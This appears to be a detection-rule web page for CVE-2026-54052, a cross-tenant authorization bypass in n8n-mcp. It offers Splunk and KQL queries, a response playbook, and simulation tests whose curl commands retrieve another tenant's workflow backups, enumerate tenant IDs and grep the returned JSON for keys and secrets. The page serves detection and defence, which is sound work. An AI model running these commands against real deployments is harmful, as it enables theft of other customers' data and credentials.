CVE-2026-54052 Splunk · SPL

Detect n8n-MCP Cross-Tenant Workflow Backup Access (CVE-2026-54052) in Splunk

Detects exploitation of CVE-2026-54052, an authorization bypass (CWE-639/CWE-862) in n8n-mcp <= 2.56.0 HTTP multi-tenant deployments allowing cross-tenant access to workflow version backups. Attackers manipulate tenant/workflow identifiers in backup retrieval requests to read another tenant's stored workflow versions, which may contain embedded credentials, API keys, and webhook secrets.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection

SPL Detection Query

Splunk (SPL)
spl 
index=web sourcetype=n8n_mcp_http (uri_path="*workflow*" OR uri_path="*backup*") (uri_path="*version*" OR uri_path="*history*")
| rex field=uri_query "(?i)tenant(?:_id|Id)?=(?<tenant_id>[a-zA-Z0-9\-]+)"
| rex field=uri_query "(?i)workflow(?:_id|Id)?=(?<workflow_id>[a-zA-Z0-9\-]+)"
| where isnotnull(tenant_id)
| bucket _time span=15m
| stats dc(tenant_id) as distinct_tenants values(tenant_id) as tenants count as request_count by src_ip, _time
| where distinct_tenants >= 3
| sort -distinct_tenants
critical severity medium confidence

Identifies a source IP accessing workflow/backup version endpoints for 3+ distinct tenant IDs within a 15-minute window, consistent with cross-tenant backup harvesting via CVE-2026-54052.

Data Sources

Web Application LogsReverse Proxy Logs

Required Sourcetypes

n8n_mcp_httpaccess_combined

False Positives & Tuning

  • Legitimate cross-tenant admin or support console usage
  • API aggregator services proxying requests for multiple tenants
  • Synthetic transaction monitoring hitting multiple test tenants

Other platforms for CVE-2026-54052

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Cross-tenant backup retrieval via tenant parameter manipulation

    Expected signal: HTTP GET request to /api/mcp/workflows/backup/version with tenant_id query parameter that does not match the bearer token's authenticated tenant claim, logged in reverse proxy / application access logs

  2. Test 2Enumeration of multiple tenant workflow backups

    Expected signal: Four or more HTTP requests to the backup/history endpoint from a single source IP within seconds, each carrying a distinct tenant_id value

  3. Test 3Credential harvesting from exposed workflow backup content

    Expected signal: Same cross-tenant HTTP request as the retrieval test, plus process execution logs showing local parsing/grepping of the downloaded backup file for credential-like strings

Last updated: 2026-08-01 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify all source IPs and authenticated sessions that queried workflow/backup version endpoints with mismatched tenant identifiers (i.e., a session authenticated for Tenant A retrieving Tenant B's backup data) within the last 30 days.
  2. Confirm the affected n8n-mcp deployment version via package.json or `npm ls n8n-mcp`; any version <= 2.56.0 in an HTTP multi-tenant configuration is vulnerable.
  3. Review application/API logs for the specific backup/version retrieval endpoint(s) to determine which tenant workflow backups were actually returned in response bodies (not just requested), to scope true data exposure vs. failed attempts.
  4. Cross-reference exposed workflow backups for embedded secrets — n8n workflows commonly store API keys, database credentials, and webhook URLs inline — and treat any such credentials as compromised.

Containment

  1. Immediately upgrade n8n-mcp to v2.56.1 or later, which patches the CWE-639/CWE-862 authorization bypass.
  2. If upgrade cannot happen immediately, place the HTTP multi-tenant deployment behind a reverse proxy/WAF rule that enforces tenant-ID binding to the authenticated session and blocks requests where the tenant parameter mismatches the session's tenant claim.
  3. Temporarily disable or restrict the workflow backup/version-history API endpoint for multi-tenant HTTP mode until patched.

Evidence Collection

  1. Preserve HTTP access logs, reverse proxy logs, and application-level audit logs covering the suspected exploitation window for all tenant/backup endpoints.
  2. Export a list of all workflow backups accessed cross-tenant, including timestamps, requesting principal, source IP, and target tenant/workflow IDs, for the incident record and downstream credential-rotation tracking.

Escalation Criteria

  • !Escalate to incident response if any cross-tenant backup response confirmed to have returned another tenant's workflow data containing live credentials or secrets.
  • !Escalate to legal/compliance if exposed tenant data includes customer PII, regulated data, or falls under a contractual data-isolation SLA, since this constitutes a confirmed multi-tenant data breach.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Reverse proxy / application HTTP access logs containing tenant and workflow query parameters
  • >n8n-mcp application audit logs recording backup/version-history retrieval events with authenticated principal and requested tenant scope
  • >Response body captures (if full-packet or API gateway logging enabled) showing which tenant's data was actually returned

Tuning Guidance

Baseline legitimate multi-tenant admin tooling, MSP/reseller support consoles, and backup-validation automation that may routinely traverse multiple tenants; allowlist their known service accounts or source IPs. Prefer the tenant-mismatch hunting query over the volume-based detections where session/tenant claim data is available, as it produces far fewer false positives than IP-based enumeration thresholds. Adjust the distinct-tenant threshold (default 3 in 15 minutes) upward in environments with high legitimate cross-tenant support activity, and downward in single-purpose deployments where cross-tenant access should never occur.

Hunting Queries

Hunts specifically for tenant-parameter mismatches between the authenticated session's tenant claim and the tenant ID requested in the backup/version endpoint, directly surfacing confirmed cross-tenant authorization bypass attempts rather than just volume-based enumeration.

Hunting — KQL
kql 
AppServiceHTTPLogs
| where CsUriStem matches regex @"(?i)/(workflows?|backups?)/(version|history)"
| extend TenantParam = extract(@"(?i)tenant(?:_id|Id)?=([a-zA-Z0-9\-]+)", 1, CsUriQuery)
| extend AuthTenant = extract(@"(?i)x-auth-tenant[:=]\s*([a-zA-Z0-9\-]+)", 1, CsHost)
| where isnotempty(TenantParam) and isnotempty(AuthTenant) and TenantParam != AuthTenant
| project TimeGenerated, CIp, AuthTenant, TenantParam, CsUriStem
Hunting — SPL
spl 
index=web sourcetype=n8n_mcp_http
| rex field=uri_query "(?i)tenant(?:_id|Id)?=(?<requested_tenant>[a-zA-Z0-9\-]+)"
| rex field=_raw "(?i)auth[_-]?tenant[:=]\s*(?<auth_tenant>[a-zA-Z0-9\-]+)"
| where isnotnull(requested_tenant) AND isnotnull(auth_tenant) AND requested_tenant!=auth_tenant
| table _time src_ip auth_tenant requested_tenant uri_path

Atomic Red Team Tests

Test 1 Cross-tenant backup retrieval via tenant parameter manipulation
linux

Simulates an authenticated low-privilege tenant user requesting another tenant's workflow version backup by modifying the tenant identifier in the API request, exploiting the missing authorization check (CWE-862).

Command

bash 
curl -s -X GET "http://localhost:5678/api/mcp/workflows/backup/version?tenant_id=victim-tenant-002&workflow_id=wf-001" -H "Authorization: Bearer $ATTACKER_TENANT_A_TOKEN" -o /tmp/exfil_backup.json; cat /tmp/exfil_backup.json

Cleanup

bash 
rm -f /tmp/exfil_backup.json

Expected Telemetry

HTTP GET request to /api/mcp/workflows/backup/version with tenant_id query parameter that does not match the bearer token's authenticated tenant claim, logged in reverse proxy / application access logs

Expected Detection

KQL/SPL cross-tenant enumeration and tenant-mismatch hunting queries flag the source IP and session for accessing a tenant_id inconsistent with its auth context

Test 2 Enumeration of multiple tenant workflow backups
linux

Simulates an attacker iterating sequential or guessed tenant IDs against the vulnerable backup endpoint to harvest multiple tenants' workflow version histories in a short window.

Command

bash 
for t in tenant-001 tenant-002 tenant-003 tenant-004; do curl -s -X GET "http://localhost:5678/api/mcp/workflows/backup/history?tenant_id=$t" -H "Authorization: Bearer $ATTACKER_TOKEN" -o /tmp/backup_$t.json; sleep 1; done

Cleanup

bash 
rm -f /tmp/backup_tenant-00*.json

Expected Telemetry

Four or more HTTP requests to the backup/history endpoint from a single source IP within seconds, each carrying a distinct tenant_id value

Expected Detection

Distinct-tenant volume-based detections (KQL/SPL/EQL/AQL/Sumo/YARA-L/CQL) trigger on >=3 distinct tenant IDs accessed by one client IP within the 15-minute window

Test 3 Credential harvesting from exposed workflow backup content
linux

After obtaining a cross-tenant backup response, simulates parsing the returned workflow JSON for embedded credentials such as API keys and webhook secrets to demonstrate downstream impact.

Command

bash 
curl -s -X GET "http://localhost:5678/api/mcp/workflows/backup/version?tenant_id=victim-tenant-002&workflow_id=wf-001" -H "Authorization: Bearer $ATTACKER_TENANT_A_TOKEN" | jq -r '.. | strings | select(test("(?i)api[_-]?key|secret|token|password"))' > /tmp/harvested_secrets.txt; cat /tmp/harvested_secrets.txt

Cleanup

bash 
rm -f /tmp/harvested_secrets.txt

Expected Telemetry

Same cross-tenant HTTP request as the retrieval test, plus process execution logs showing local parsing/grepping of the downloaded backup file for credential-like strings

Expected Detection

Upstream cross-tenant access detections trigger on the initial request; SOC playbook step for credential-in-backup review flags the response content for secret exposure follow-up

Related Detections

Tactic Hubs

TA0001Initial AccessTA0006Credential AccessTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1552.001Credentials In FilesT1078.004Cloud Accounts

Same Tactic: Initial Access

Popular Detections